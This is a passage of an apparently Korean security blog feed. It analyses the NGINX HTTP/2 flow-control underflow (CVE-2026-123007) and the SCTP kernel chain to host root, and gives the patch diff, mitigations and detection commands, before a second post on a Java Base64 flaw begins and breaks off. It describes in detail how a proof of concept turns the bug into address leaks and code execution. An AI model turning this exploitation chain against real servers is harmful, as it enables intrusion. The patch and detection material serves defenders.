(--stream-&gt;queued == 0) { break; }\n        continue;\n    }\n    fn = &amp;frame-&gt;next;\n}\nh2c-&gt;send_window += window;           /* 상한 검사 없음 */</code></pre><button class=\"copy\" type=\"button\" aria-label=\"코드 복사\">COPY</button></div>\n<p>세 동작은 각각은 맞다. 차감하고, 검사하고, 환급한다. 무너지는 지점은 <strong>두 번째와 세 번째 사이의 시간</strong>이다. 큐에 걸린 DATA는 아직 클라이언트에게 가지 않았지만 장부에서는 이미 차감됐다. 클라이언트 입장에서 그 바이트는 \"받을 수 있는 여유\"가 아니라 \"아직 오지 않은 데이터\"다. 그런데 <code>WINDOW_UPDATE</code>는 차감 여부와 무관하게 창을 올린다. 여기서 클라이언트가 그 스트림을 취소하면, 청산 함수는 <strong>이미 클라이언트가 갚아 준 credit을 한 번 더</strong> 돌려준다.</p>\n<p>같은 양 <code>Q</code>가 두 번 들어간다. 장부는 <code>Wmax(2^31-1)</code> → <code>Wmax - Q</code>(큐 적재) → <code>Wmax</code>(WINDOW_UPDATE) → <code>Wmax + Q</code>(청산 환급)로 움직인다. 1,393바이트를 환급하면 <code>0x80000570</code>이 된다. 64비트 <code>size_t</code>에는 멀쩡히 들어가는, 그러나 HTTP/2에서는 존재할 수 없는 값이다.</p>\n<p>다음 <code>WINDOW_UPDATE</code>에서 검사식이 무너진다. <code>window &gt; MAX - send_window</code>는 <code>send_window ≤ MAX</code>일 때만 의미가 있다. 지금은 <code>send_window = Wmax + Q</code>이므로 우변은 <code>-Q</code>가 되고, unsigned 연산에서 <code>2^64 - Q</code>라는 거대한 양수로 감싸진다. 이것이 CWE-191 정수 언더플로다. 검사는 \"얼마나 더 받을 수 있는가\"를 계산하면서 정작 <strong>자기 자신이 범위를 벗어났다는 사실은 보지 못한다</strong>. 이후 클라이언트는 프레임당 최대 증가분을 반복해 창을 2^63 너머, 나아가 2^64 근처까지 밀어 올릴 수 있다.</p>\n<p>11년 동안 이 구멍이 남은 이유도 여기에 있다. 상한을 지켜야 할 주체가 한 곳에 없었다. 차감은 필터 모듈이, 검증은 코어가, 환급은 다시 필터 모듈이 한다. 어느 함수도 \"이 연결의 총합은 지금 얼마인가\"를 소유하지 않았고, 프로토콜 상한은 숫자를 만질 때마다 확인해야 하는 암묵적 불변식으로만 존재했다. 2015년 9월 22일 1.9.5에 HTTP/2가 들어온 뒤 배포된 모든 공식 릴리스, 심지어 2026년 11월 10일의 <code>master</code> 브랜치까지 같은 코드가 남아 있었다.</p>\n<p>같은 릴리스에서 함께 고친 나머지 네 건은 각각 다른 설정을 요구한다. 그래서 \"NGINX면 다 뚫린다\"도, \"우리는 프록시가 없으니 괜찮다\"도 틀린 말이 된다.</p>\n<div class=\"table-wrap\"><table><thead><tr><th>CVE</th><th>결함</th><th>공격 경로가 열리는 조건</th><th>영향 버전</th></tr></thead><tbody><tr><td>CVE-2026-123007</td><td>HTTP/2 흐름제어 정수 언더플로 → 힙 오버플로 (CWE-191)</td><td>HTTP/2 활성. 백엔드·서드파티 모듈 불필요</td><td>1.9.5–1.31.8</td></tr><tr><td>CVE-2026-123633</td><td>HTTP/2 use-after-free</td><td>HTTP/2 + 업스트림 프록시 + <code>worker_connections</code> 고갈</td><td>1.19.7–1.31.8</td></tr><tr><td>CVE-2026-123634</td><td>resolver 응답 처리 use-after-free</td><td>변수 기반 <code>proxy_pass</code> + <code>resolver</code> + <code>mirror</code>/SSI 서브리퀘스트</td><td>0.6.18–1.31.8</td></tr><tr><td>CVE-2026-121810</td><td>HTTP/3(QUIC) use-after-free</td><td>HTTP/3 + 업스트림 프록시</td><td>1.25.0–1.31.8</td></tr><tr><td>CVE-2026-113425</td><td>메일 프록시 use-after-free</td><td><code>proxy on</code> + <code>auth_http</code> (자격증명 불필요)</td><td>0.5.33–1.31.8</td></tr></tbody></table></div>\n<h2>2. 언더플로가 memcpy 길이가 되는 경로</h2>\n<p>창을 2^64 근처까지 밀어 올린 다음, 공격자는 그 값을 <strong>응답 길이</strong>로 소비시킨다. <code>ngx_http_v2_send_chain()</code>이 그 변환 지점이다.</p>\n<div class=\"codeblock\"><pre><code class=\"language-c\">/* ngx_http_v2_filter_module.c */\nif (limit == 0 || limit &gt; (off_t) h2c-&gt;send_window) {\n    limit = h2c-&gt;send_window;              /* size_t → off_t 캐스팅 */\n}\n...\nif ((off_t) frame_size &gt; limit) {\n    frame_size = (size_t) limit;           /* 음수를 다시 size_t로 */\n}\nrest = frame_size;\ncl = ngx_http_v2_filter_get_shadow(stream, in-&gt;buf, offset, rest);</code></pre><button class=\"copy\" type=\"button\" aria-label=\"코드 복사\">COPY</button></div>\n<p><code>2^64 - d</code>는 <code>off_t</code>(부호 있는 64비트)로 읽으면 <code>-d</code>다. 양수 <code>limit</code>은 <code>-d</code>보다 크므로 조건이 참이 되고, <code>limit</code>은 <code>-d</code>가 된다. 같은 값을 다시 <code>size_t</code>로 되돌리면 <code>2^64 - d</code>가 되어 DATA 프레임 크기가 말도 안 되는 수가 된다. 그림자 버퍼를 만드는 <code>ngx_http_v2_filter_get_shadow()</code>는 그 길이를 그대로 써서 끝 포인터를 옮긴다.</p>\n<div class=\"codeblock\"><pre><code class=\"language-c\">chunk-&gt;last = chunk-&gt;pos + size;   /* size가 음수면 last &lt; pos */</code></pre><button class=\"copy\" type=\"button\" aria-label=\"코드 복사\">COPY</button></div>\n<p><code>last</code>가 <code>pos</code>보다 앞서는, 존재할 수 없는 버퍼가 만들어진다. 이 메타데이터를 신뢰하는 다음 단계가 TLS 송신 경로다.</p>\n<div class=\"codeblock\"><pre><code class=\"language-c\">/* ngx_event_openssl.c :: ngx_ssl_send_chain() */\nsize = in-&gt;buf-&gt;last - in-&gt;buf-&gt;pos;        /* -d */\nif (size &gt; buf-&gt;end - buf-&gt;last) { ... }    /* 음수는 통과 */\nif (send + size &gt; limit) { ... }            /* 음수는 통과 */\nngx_memcpy(buf-&gt;last, in-&gt;buf-&gt;pos, size);  /* size_t로 변환 → 2^64-d */</code></pre><button class=\"copy\" type=\"button\" aria-label=\"코드 복사\">COPY</button></div>\n<p>두 검사 모두 \"너무 큰 값\"만 줄인다. 음수는 걸러내지 않는다. 그리고 <code>memcpy</code>의 세 번째 인자는 <code>size_t</code>다. 여기서 창 회계 오류가 처음으로 네이티브 메모리 접근이 된다.</p>\n<p>원래라면 2^64바이트 복사는 즉시 접근 위반으로 워커가 죽는다. 그런데 죽지 않는다. x86-64 glibc의 최적화 복사 루틴이 주소 계산에서 64비트 랩어라운드를 하기 때문이다. EVEX/YMM 경로는 끝 주소를 <code>D + n</code>으로 잡고, <code>n = 2^64 - d</code>이면 이 값이 <code>D - d</code>로 감싸진다. 루프 조건(<code>cmpq; jb</code>)은 커서가 이미 <code>D</code>보다 아래에 있으므로 한 번만 돌고 끝난다.</p>\n<div class=\"codeblock\"><pre><code class=\"language-asm\">leaq (VEC_SIZE * -4 + -1)(%rdi, %rdx), %rcx   ; rcx = (D + n - 129) mod 2^64\nandq $-(VEC_SIZE), %rcx                       ; 32바이트 정렬\nL(loop_4x_vec_backward):\n    ...\n    addq $(VEC_SIZE * -4), %rcx\n    cmpq %rcx, %rdi\n    jb L(loop_4x_vec_backward)                ; 커서 &lt; D 이므로 미실행</code></pre><button class=\"copy\" type=\"button\" aria-label=\"코드 복사\">COPY</button></div>\n<p>결과적으로 실제로 건드리는 구간은 <strong>128바이트 한 덩어리와 마지막 160바이트</strong>뿐이다. 그 160바이트는 의도한 버퍼 밖으로 나간다. Rapid7의 PoC는 이 성질을 정밀하게 배치한다. <code>Range</code> 헤더로 멀티파트 응답을 만들면 <code>ctx-&gt;boundary_header.data</code>가 요청 풀에 잡히고, 그것이 <code>in-&gt;buf-&gt;pos</code> 곧 복사원이 된다. <code>Cookie</code> 헤더를 여러 개 보내면 NGINX가 구분자 2바이트를 더해 길이를 계산하고 값을 <code>\"; \"</code>로 이어 붙이는데, 그 헤더 구조체에는 NGINX 이미지의 정적 문자열 포인터와 힙 버퍼 포인터가 함께 들어 있다.</p>\n<div class=\"codeblock\"><pre><code class=\"language-c\">/* ngx_http_v2.c :: 요청 헤더 Cookie 병합 경로 (L3725 부근) */\nh-&gt;key.data   = cookie.data;   /* nginx 이미지 내 정적 문자열 */\nh-&gt;value.len  = len;           /* 공격자가 정한 길이 */\nh-&gt;value.data = buf;           /* 힙 주소 */</code></pre><button class=\"copy\" type=\"button\" aria-label=\"코드 복사\">COPY</button></div>\n<p>이 96+64바이트를 TLS 평문 버퍼 바로 앞으로 복사하면, 앞쪽 96바이트는 힙 메타데이터(청크 크기 필드)를 덮어쓰고 뒤쪽 64바이트는 <strong>응답 본문으로 클라이언트에게 그대로 전송된다</strong>. 한 번의 잘못된 복사가 쓰기와 주소 유출을 동시에 수행한다. 유출된 값으로 ASLR을 걷어내고, 요청 풀의 정리 콜백을 <code>system()</code>으로 돌려 명령을 실행한다. 실행 권한은 <strong>워커 프로세스의 것</strong>이다. Rapid7도 master나 root 권한 획득은 이 결함만으로 성립하지 않는다고 명시한다.</p>\n<p>여기서 정량적 현실이 갈린다. Rapid7의 PoC는 RCE까지 <strong>평문 약 119.02GiB</strong>(프레임·헤더 오버헤드 포함 실측 약 128GB)를 필요로 한다. 그 양은 13바이트짜리 <code>WINDOW_UPDATE</code> 프레임을 수십억 번 보내 만든다. 2^63까지 가는 데 2^32프레임(약 52GiB), 확인된 읽기/쓰기 경로까지 가는 데 2^33회(104GiB), 여기에 제어 프레임 비율 제한을 피하려는 요청 헤더 트래픽 15GiB가 더해진다. 시간으로는 10Gbps에서 2분, 1Gbps에서 17분. NGINX 기본 연결 수명이 1시간이라 <strong>약 300Mbps보다 느린 회선에서는 성공하지 못한다</strong>. 게다가 HTTP/2 종단 프록시 뒤에 있으면 공격자가 보낸 프레임이 그대로 재전송되지 않아 성립하기 어렵고, 익스플로잇은 런타임에 선택되는 x86-64 glibc의 EVEX/YMM 복사 구현에 의존한다.</p>\n<p>그래서 지금의 위협은 \"전 세계가 오늘 뚫린다\"가 아니라 <strong>\"조건을 갖춘 표적에게는 이미 가능하고, 조건이 계속 느슨해지고 있다\"</strong>에 가깝다. Censys의 h2c PoC가 그 신호다. 대용량 트래픽 없이 산수 오류 자체를 재현하는 도구가 공개되면, 나머지 단계를 자기 환경에 맞춰 붙이는 비용이 내려간다. Wiz는 공식 1.31.7·1.31.8 빌드에서 ASLR 우회를 포함한 RCE를 확인했고(익스플로잇 미공개), Xint는 AWS의 공인 HTTPS 엔드포인트를 상대로 시연했다. 하루아침에 전면 공격이 시작될 확률은 낮지만, 패치 유예 기간을 넉넉히 두는 판단은 근거가 약해졌다.</p>\n<h2>3. 패치 없는 절반: SCTP와 호스트 root</h2>\n<p>NGINX2Root라는 이름의 절반은 NGINX가 아니다. Xint는 위 결함 중 하나로 워커 권한을 얻은 뒤, 리눅스 커널 SCTP 서브시스템의 use-after-free/double-free를 이어 붙여 호스트의 root를 얻었다. 이 커널 결함은 4.15(2018년)에 들어왔고, 2026-11-20 현재 <strong>CVE가 부여되지 않았고 패치도 없다</strong>. 연구진은 수정이 나올 때까지 세부를 공개하지 않는다.</p>\n<p>핵심은 노출 조건이 \"SCTP를 쓰는가\"가 아니라는 점이다. 대부분의 배포판에서 <code>sctp</code> 모듈은 프로세스가 SCTP 소켓을 열 때 커널이 자동으로 적재한다. 즉 워커 권한을 얻은 공격자가 스스로 취약 코드를 커널에 올릴 수 있다. Sysdig 연구팀은 워커에서 SCTP 소켓을 한 번 여는 것만으로 <code>sctp.ko</code>가 적재되는 것을 실험실에서 확인했고, 한 번 올라간 모듈은 재부팅까지 남는다. 컨테이너는 커널을 공유하므로 격리가 되지 않는다. 공식 <code>nginx:1.31.8</code> 이미지로 만든 도커 컨테이너 안에서 공격을 시작해 <strong>호스트 root 셸</strong>까지 간 것이 시연됐다.</p>\n<p>완화는 <code>/etc/modprobe.d/</code> 아래 파일에 한 줄을 넣는 것이다.</p>\n<div class=\"codeblock\"><pre><code class=\"language-bash\">echo 'install sctp /bin/false' | sudo tee /etc/modprobe.d/disable-sctp.conf\nlsmod | grep sctp        # 이미 적재되어 있으면 재부팅 전까지는 그대로다</code></pre><button class=\"copy\" type=\"button\" aria-label=\"코드 복사\">COPY</button></div>\n<p>Sysdig 실험실에서는 이 설정 뒤 워커의 소켓 호출이 <code>EPROTONOSUPPORT</code>로 실패하고 모듈이 적재되지 않았다. 다만 세 가지 한계가 있다. 이미 적재된 모듈은 내리지 못하고, 커널에 SCTP가 내장 컴파일된 경우에는 무효이며, 통신 신호 처리나 일부 쿠버네티스 네트워크 플러그인처럼 SCTP를 실제로 쓰는 워크로드는 깨진다. 그래도 SCTP를 쓰지 않는 호스트에서는 비용이 0에 가깝다.</p>\n<p>NGINX 쪽 패치가 이 절반을 덮지 못한다는 사실이 이 사건의 성격을 규정한다. 11월 18일에 나온 것은 절반의 수정이고, 나머지 절반은 커널 벤더의 몫으로 남아 있다.</p>\n<h2>4. 실제 수정 커밋: 카운터 하나를 더한 6줄</h2>\n<p>CVE-2026-123007의 수정은 <code>b89c4100bf6762a45e4a6463eaf4b70368277c94</code>(1.30.7 브랜치)와 같은 내용의 <code>e27f5fa84fe</code>(master)다. 커밋 메시지는 원인을 한 문장으로 정리한다. \"스트림이 종료될 때 미전송 페이로드 길이를 연결 흐름제어로 환급하는데, 프레임이 큐에 걸린 뒤 스트림이 종료되기 전에 클라이언트가 창을 올렸다면 이 환급이 <code>NGX_HTTP_V2_MAX_WINDOW</code>를 넘길 수 있었다.\"</p>\n<p>수정은 3개 파일, +6/−2다. 새 필드 하나와 증감 지점 세 곳이 전부다.</p>\n<div class=\"codeblock\"><pre><code class=\"language-diff\">--- a/src/http/v2/ngx_http_v2.h\n+++ b/src/http/v2/ngx_http_v2.h\n@@ struct ngx_http_v2_connection_s {\n     size_t                           send_window;\n+    size_t                           send_queued;\n     size_t                           recv_window;\n\n--- a/src/http/v2/ngx_http_v2.c\n+++ b/src/http/v2/ngx_http_v2.c\n@@ ngx_http_v2_state_window_update()\n-    if (window &gt; NGX_HTTP_V2_MAX_WINDOW - h2c-&gt;send_window) {\n+    if (window &gt; NGX_HTTP_V2_MAX_WINDOW - h2c-&gt;send_window - h2c-&gt;send_queued) {\n         ngx_log_error(NGX_LOG_INFO, h2c-&gt;connection-&gt;log, 0,\n                       \"client violated connection flow control: ...\",\n-                      window, h2c-&gt;send_window);\n+                      window, h2c-&gt;send_window + h2c-&gt;send_queued);\n\n--- a/src/http/v2/ngx_http_v2_filter_module.c\n+++ b/src/http/v2/ngx_http_v2_filter_module.c\n@@ ngx_http_v2_send_chain()\n             h2c-&gt;send_window -= frame_size;\n+            h2c-&gt;send_queued += frame_size;\n\n@@ ngx_http_v2_data_frame_handler()\n     h2c-&gt;payload_bytes += frame-&gt;length;\n+    h2c-&gt;send_queued -= frame-&gt;length;\n\n@@ ngx_http_v2_filter_cleanup()\n     h2c-&gt;send_window += window;\n+    h2c-&gt;send_queued -= window;</code></pre><button class=\"copy\" type=\"button\" aria-label=\"코드 복사\">COPY</button></div>\n<p>의미는 단순하다. <code>send_queued</code>는 <strong>창에서 예약됐지만 아직 TLS·소켓으로 나가지 않은 바이트</strong>다. 큐에 넣을 때 늘고, 실제 DATA가 전송 처리될 때 줄고, 청산으로 버려질 때도 준다. 검사식은 이제 \"이미 보낸 것 + 아직 보낼 것\"의 합, 즉 클라이언트 관점의 창 사용량이 상한을 넘지 않는지 본다. 클라이언트가 아직 오지 않은 데이터를 근거로 창을 올리는 것 자체가 거부되므로, 나중에 청산이 환급해도 결과는 상한 이하로 남는다.</p>\n<p>주목할 점은 검사식이 <strong>뺄셈을 세 항으로 확장</strong>했다는 것이다. <code>MAX - send_window - send_queued</code>는 두 값의 합이 항상 상한 이하라는 불변식이 회복된 뒤에야 안전하다. 패치가 상한을 다시 세운 뒤에 검사를 고친 순서가 아니라, 검사에 상태를 하나 더 넣어 상한이 성립하도록 만든 셈이다. 이런 종류의 수정은 회귀 테스트가 어렵다. 프로토콜 상태 기계의 시간 순서에 의존하기 때문이다. 실제로 이 커밋은 10월 29일자로 작성돼 11월 11일 master에 들어갔고, 18일 릴리스에 실렸다.</p>\n<p>같은 릴리스에는 NGINX2Root 외에 5건이 더 들어 있다. HTTP/2와 무관하게 운영에 영향을 주는 것들이라 함께 올리는 편이 낫다.</p>\n<div class=\"table-wrap\"><table><thead><tr><th>CVE</th><th>내용</th><th>등급</th></tr></thead><tbody><tr><td>CVE-2026-118899</td><td>TLS 1.3에서 클라이언트 요청 본문 읽기 무한 루프</td><td>major</td></tr><tr><td>CVE-2026-120967</td><td>stream 모듈 클라이언트 인증서 검증에서 SNI 우회</td><td>medium</td></tr><tr><td>CVE-2026-120993</td><td>PROXY protocol v2 사용 시 널 포인터 역참조 (1.31.4~1.31.8)</td><td>minor</td></tr><tr><td>CVE-2026-125283</td><td><code>alias</code> + <code>try_files</code> 조합 버퍼 오버플로</td><td>minor</td></tr><tr><td>CVE-2026-123640</td><td>stream <code>ssl_preread</code> 검증 부족</td><td>minor</td></tr></tbody></table></div>\n<h2>5. 인프라에서 실제로 밟는 함정</h2>\n<p><strong>패키지를 올렸다고 프로세스가 바뀌지 않는다.</strong> 설정 리로드는 새 워커를 띄우지만 실행 중인 바이너리를 교체하지 않는다. 기존 HTTP/2 연결은 옛 워커에 그대로 남는다. 설치 후에는 서비스 재시작이 필요하고, <code>ps</code>에 <code>nginx: worker process is shutting down</code>이 남아 있지 않은지 확인해야 한다. 바이너리가 실행 중인 master 아래에서 교체되면 <code>/proc/$(cat /run/nginx.pid)/exe</code>가 <code>(deleted)</code>로 보인다. 이 링크가 사라졌는지가 \"디스크는 패치됐는데 메모리는 아닌\" 상태를 가장 빨리 알려준다.</p>\n<div class=\"codeblock\"><pre><code class=\"language-bash\">nginx -v                     # 업스트림 기준 버전. 배포판 패키지는 이걸로 판정 불가\nnginx -V 2&gt;&amp;1 | grep -o -- '--with-http_v2_module'\nnginx -T 2&gt;&amp;1 | sed 's/#.*//' | grep -nE 'listen[[:space:]].*http2|^[[:space:]]*http2[[:space:]]+on'\nopenssl s_client -connect example.com:443 -servername example.com -alpn h2 &lt;/dev/null 2&gt;&amp;1 | grep 'ALPN protocol'</code></pre><button class=\"copy\" type=\"button\" aria-label=\"코드 복사\">COPY</button></div>\n<p><strong>배포판 백포트는 버전 문자열을 바꾸지 않는다.</strong> Debian 트래커 기준으로 bookworm은 <code>1.22.1-9+deb12u11</code>(DLA-4918-1), trixie는 <code>1.26.3-3+deb13u11</code>(DSA-6642-1), unstable은 <code>1.30.6-4</code>에서 수정됐다. Ubuntu는 11월 19일 USN-9159-1로 22.04 <code>1.18.0-6ubuntu14.23</code>, 24.04 <code>1.24.0-2ubuntu7.20</code>, 26.04 <code>1.28.3-2ubuntu1.13</code>, 26.10 <code>1.30.4-7ubuntu1.2</code>를 냈고, 20.04 이하는 Ubuntu Pro(ESM) 경로다. Amazon Linux는 AL2023 <code>ALAS2023-2026-3494</code>, AL2 nginx1 extra <code>ALAS2NGINX1-2026-018</code>, AL2027 프리뷰가 11월 18~19일에 수정 패키지를 냈다. 반면 RHEL과 SUSE는 11월 19일 조사 시점에 수정 패키지가 없는 상태로 표기돼 있었다. \"업데이트 없음\"과 \"수정됨\"은 다른 문장이다.</p>\n<div class=\"codeblock\"><pre><code class=\"language-bash\">apt changelog nginx 2&gt;/dev/null | grep -E 'CVE-2026-123007'</code></pre><button class=\"copy\" type=\"button\" aria-label=\"코드 복사\">COPY</button></div>\n<p><strong>NGINX가 어디에나 있다.</strong> 쿠버네티스 <code>ingress-nginx</code>는 2026년 3월 24일 아카이브됐고, README는 \"추가 릴리스·버그픽스·보안 취약점 대응 업데이트가 없다\"고 적고 있다. 컨트롤러 이미지에 자체 NGINX 빌드가 들어가므로 이번 수정도 오지 않는다. OpenResty, Tengine, Angie처럼 NGINX 코드를 쓰는 제품은 권고문에 이름이 없어 각 메인테이너에게 확인해야 한다. 컨테이너는 호스트를 패치해도 바뀌지 않는다. 이미지를 다시 빌드하고 재배포해야 한다.</p>\n<p><strong>당장 올릴 수 없을 때의 우회는 설정마다 다르다.</strong> F5 권고문은 123007·123633·121810·118899에 대해 자체 완화책을 \"None\"으로 적었다. 아래는 연구진이 제시한 우회이며, 벤더가 보증하는 완화책이 아니다.</p>\n<div class=\"codeblock\"><pre><code class=\"language-nginx\"># 1.25.1 이상: server 블록에서 HTTP/2 끄기 (123007·123633 차단)\nlisten 443 ssl;\nhttp2 off;\n\n# 1.9.5 ~ 1.25.0: listen 지시어에서 http2 파라미터 제거\nlisten 443 ssl;\n\n# HTTP/3(121810): quic 리스너 제거 + Alt-Svc 철회 + UDP 차단\n# listen 443 quic reuseport;   ← 주석 처리\nhttp3 off;\nadd_header Alt-Svc 'clear' always;</code></pre><button class=\"copy\" type=\"button\" aria-label=\"코드 복사\">COPY</button></div>\n<p>123634는 <code>proxy_pass</code>에서 변수를 없애고 고정 <code>upstream</code> 그룹을 쓰면 막힌다. <code>mirror off</code>만으로는 부족하다. SSI도 서브리퀘스트를 만들고, <code>mirror_request_body on</code>은 익스플로잇을 막을 뿐 결함을 고치지 않는다. 메일 프록시(113425)는 IMAP·POP3·SMTP 리스너를 루프백에 묶거나 방화벽으로 신뢰 소스만 허용한다. 설정을 바꾼 뒤에도 리로드만으로는 기존 연결이 옛 워커에 남으므로 재시작이 필요하다.</p>\n<h2>6. 흔적 찾기: 액세스 로그에 남지 않는 공격</h2>\n<p>이 공격은 요청으로 기록되지 않는다. <code>WINDOW_UPDATE</code>와 <code>RST_STREAM</code>은 제어 프레임이라 액세스 로그에 남지 않고, 전송 구간은 TLS로 암호화된다. 흔적은 커널과 프로세스 계층에서 찾아야 한다.</p>\n<div class=\"codeblock\"><pre><code class=\"language-bash\"># 연결별 수신/송신 바이트 비교: 수신은 폭증, 송신은 미미한 장기 연결\nsudo ss -tinp state established '( sport = :443 )'\n\n# 연결 ID 단위 로그 (http 블록)\nlog_format h2_hunt '$time_iso8601 src=$remote_addr conn=$connection '\n                   'requests=$connection_requests proto=$server_protocol '\n                   'status=$status request_length=$request_length '\n                   'bytes_sent=$bytes_sent request_time=$request_time';\naccess_log /var/log/nginx/h2-hunt.log h2_hunt;\n\n# 워커 uid로 실행된 프로세스 감사\nsudo auditctl -a always,exit -F arch=b64 -S execve,execveat -F euid=$NGINX_UID -k nginx_worker_exec\nsudo ausearch -k nginx_worker_exec -ts recent -i\n\n# 워커 비정상 종료\nsudo grep -Ei 'worker process.*exited|signal 11|segfault' /var/log/nginx/error.log\nsudo coredumpctl list nginx</code></pre><button class=\"copy\" type=\"button\" aria-label=\"코드 복사\">COPY</button></div>\n<p>판단 기준은 명확하다. <strong>NGINX 워커가 외부 프로그램을 실행한 흔적</strong>은 그 자체로 사고다. 워커가 셸을 띄울 정상 사유는 없다. 반면 수신 폭증, 동일 IP의 다수 단기 연결, <code>request_length</code> 합계와 실제 수신 바이트의 큰 격차, 반복되는 워커 세그폴트는 각각 정상 원인이 있을 수 있는 약한 신호다. 여럿이 겹치고 설명이 안 될 때 차단과 조사를 시작하면 된다. 패치 당일에는 정상 정비도 비슷하게 보인다는 점을 감안해야 한다. Sysdig 연구팀은 제자리 라이브 바이너리 업그레이드(USR2)가 런타임 탐지에서 setuid·root 실행 경보를 유발했고, 설정 리로드는 유발하지 않았다고 밝혔다. 유지보수 창에만 예외를 두고 규칙 자체를 끄지 않는 편이 낫다.</p>\n<p>2026년 NGINX 권고문은 11월 17일까지 26건이 올라왔다. 2025년 한 해가 2건이었다는 점을 감안하면 이번 다섯 건은 예외적 사건이라기보다 변화한 발견 속도의 표본이다. 그 속도가 방어자에게 주는 실익은 하나뿐이다. 같은 도구를 자기 인프라에 먼저 돌려보는 것이다. 이 글의 판정 기준과 명령은 그 목적에 맞춰 정리했다.</p>",
      "date_published": "2026-11-20T09:00:00+09:00",
      "authors": [
        {
          "name": "김도현"
        }
      ],
      "tags": [
        "CVE-2026-123007",
        "NGINX2Root",
        "HTTP/2",
        "CWE-191",
        "SCTP",
        "F5",
        "Xint",
        "CVE-2026-123633"
      ],
      "image": "https://dohyeontech.github.io/assets/images/thumb_nginx2root_cve_2026_123007.png"
    },
    {
      "id": "https://dohyeontech.github.io/posts/java4shell-cve-2026-114938/",
      "url": "https://dohyeontech.github.io/posts/java4shell-cve-2026-114938/",
      "title": "[소스 분석] Java4Shell — 65바이트 Base64가 JVM 힙을 넘어설 때",
      "summary": "OpenJDK HotSpot의 AVX-512 VBMI Base64 디코더가 패딩 꼬리에서 마스크를 언더플로시켜 50바이트 버퍼 밖으로 62바이트를 쓴다. Calif는 이 고정 바이트 기록을 배열 길이 필드 오염으로 바꿔 힙 유출(JavaBleed)과 RCE까지 갔고, 수정은 stubGenerator에 조건 분기 4줄이었다.",
      "content_html": "<p>2026년 11월 17일 21:00 UTC(태평양시 13:00), Oracle은 11월 위기 보안 패치 업데이트(CSPU)를 내면서 자바 표준판의 취약점 11건을 고쳤다. 그중 <code>CVE-2026-114938</code>이 Java4Shell이다. OpenJDK 쪽 점수는 CVSS 3.1 기준 8.1(<code>AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H</code>), 발견한 Calif의 점수는 CVSS 4.0 기준 9.2 Critical이다. 같은 결함에 두 체계가 붙인 이름이 갈리는 이유는 단순하다. 3.1 점수표는 공격 복잡도 <code>AC:H</code>를 달았고, 4.0 점수표는 그 복잡도가 자동화로 무너진 상태를 반영한다. Oracle의 CVE 레코드 본문에는 \"Difficult to exploit\"이라는 문장이 그대로 남아 있다.</p>\n<p>자바에서 메모리 손상 취약점이 나왔다는 사실 자체가 이 사건의 절반이다. 자바의 판매 포인트는 메모리 안전이고, 개발자는 경계 검사를 신뢰하고 코드를 쓴다. 그런데 JVM 안쪽에는 C++와 어셈블리로 쓰인 코드가 있고, JIT 컴파일러가 실행 중에 만들어 내는 intrinsic 스텁도 그중 하나다. 이번 결함은 그 스텁, 그것도 <code>java.util.Base64</code>의 디코더를 가속하는 AVX-512 VBMI 경로에서 나왔다. 자바 애플리케이션이 \"메모리 안전한 언어로 짰다\"고 말할 수 있는 범위는, 자바가 넘겨준 바이트 배열의 경계 안쪽까지다. 그 경계를 스텁이 스스로 넘었다.</p>\n<p>파급력은 대상의 성격에서 나온다. Base64는 로그인 전에 지나가는 자리에도 있다. HTTP Basic 인증 헤더, JWT, SAML 아티팩트, CSRF 토큰, 파일 업로드 본문이 모두 표준 디코더를 탄다. Calif는 기본 설정 상태의 Keycloak, Atlassian Jira·Confluence, JFrog Artifactory, Jenkins, PingFederate에서 인증 없이 코드 실행을 시연했다. 이 여섯 개는 조직이 \"무엇을 신뢰할지\" 판단하는 기준점이다. 신원 제공자(IdP)와 빌드 서버, 아티팩트 저장소를 먼저 고치라고들 말하는 이유가 여기에 있다.</p>\n<p>국내 통계는 이 결함이 남의 이야기가 아니라는 걸 보여준다. 행정안전부의 '2026년도 범정부EA기반 공공부문 정보자원 현황 통계보고서'(2025년 말 기준)에 따르면 공공 정보시스템 1만5,618개 중 1만1,132개(71.28%)가 자바를 개발언어로 쓴다. 중앙행정기관만 보면 1,642개로 89.05%다. 같은 통계에서 PHP는 1,027개(6.58%)다. 자바 기반이라는 사실이 곧 취약하다는 뜻은 아니지만, 점검 대상 목록이 그 규모로 잡힌다는 뜻은 된다. 11월 17일 국가안보실은 민·관·군 긴급 대책회의를 열었고(18일 발표), 과기정통부와 KISA는 18일 긴급 점검과 보안 업데이트를 권고하면서 보호나라에 Oracle 제품 보안 공지를 올렸다.</p>\n<p>발견 경위도 이 사건의 일부다. Calif의 Quang Luong은 OpenJDK HotSpot을 감사하면서 JIT 컴파일러, intrinsic, 널리 쓰이는 API, 암호 구현에 초점을 맞췄다. 초기 결과 대부분은 도달 불가능하거나 익스플로잇 조건이 비현실적인, 이른바 슬롭(slop)이었다. 코딩 에이전트 Codex를 계속 밀어붙인 끝에 Base64 디코더의 메모리 손상 후보가 나왔고, 결함 발견까지 1시간, 첫 동작 익스플로잇까지 2시간이 걸렸다. 토큰 비용은 200달러 미만이었다. Calif가 10월에 공개한 PHP2Shell에 이은 두 번째 \"켄타우로스\" 사례다.</p>\n<p>확인된 실제 악용은 아직 없다. 이 문장은 정확히 쓰는 게 중요하다. CISA는 17일 즉시 패치를 권고하는 경보를 냈지만 이 CVE를 KEV 카탈로그에 올리지 않았고, 11월 19일 06시 기준 KEV 최신본(카탈로그 버전 <code>2026.11.18</code>, 1,786건)에도 없다. 캐나다 사이버센터, 안랩 ASEC, Check Point, Black Duck 모두 11월 18일까지 실제 침해 사례를 확인하지 못했다고 밝혔다. 대신 트래픽은 이미 돌고 있다. GreyNoise는 17일 이후 Java4Shell 형태의 요청 53건을 IP 3개에서 관측했고 모두 악성으로 분류했으며 성공한 침해는 0건이라고 밝혔다(11월 18일 12:48 UTC 갱신). watchTowr는 허니팟에 <code>java4shell-recon</code>이라는 User-Agent를 단 요청과 형태를 흉내 낸 맹목적 시도가 들어오고 있다고 전했다. 즉 지금은 정찰 단계이고, 제품별 체인이 공개되는 순간이 변곡점이다.</p>\n<h2>1. 디코더의 계약: \"dst는 충분히 크다고 가정한다\"</h2>\n<p><code>java.util.Base64.Decoder</code>의 빠른 경로는 <code>decodeBlock()</code>이다. 시그니처에 <code>@IntrinsicCandidate</code>가 붙어 있고, 아키텍처별 스텁이 이 자바 메서드를 통째로 대체한다. 메서드 주석은 이 대체가 지켜야 할 계약을 문장으로 적어 두었다.</p>\n<div class=\"codeblock\"><pre><code>* Note that the '=' pad character is treated as an illegal Base64 character by\n* decodeBlock, so it will not process a block of 4 bytes containing pad characters.\n...\n* Given the parameters, no length check is possible on dst, so dst\n* 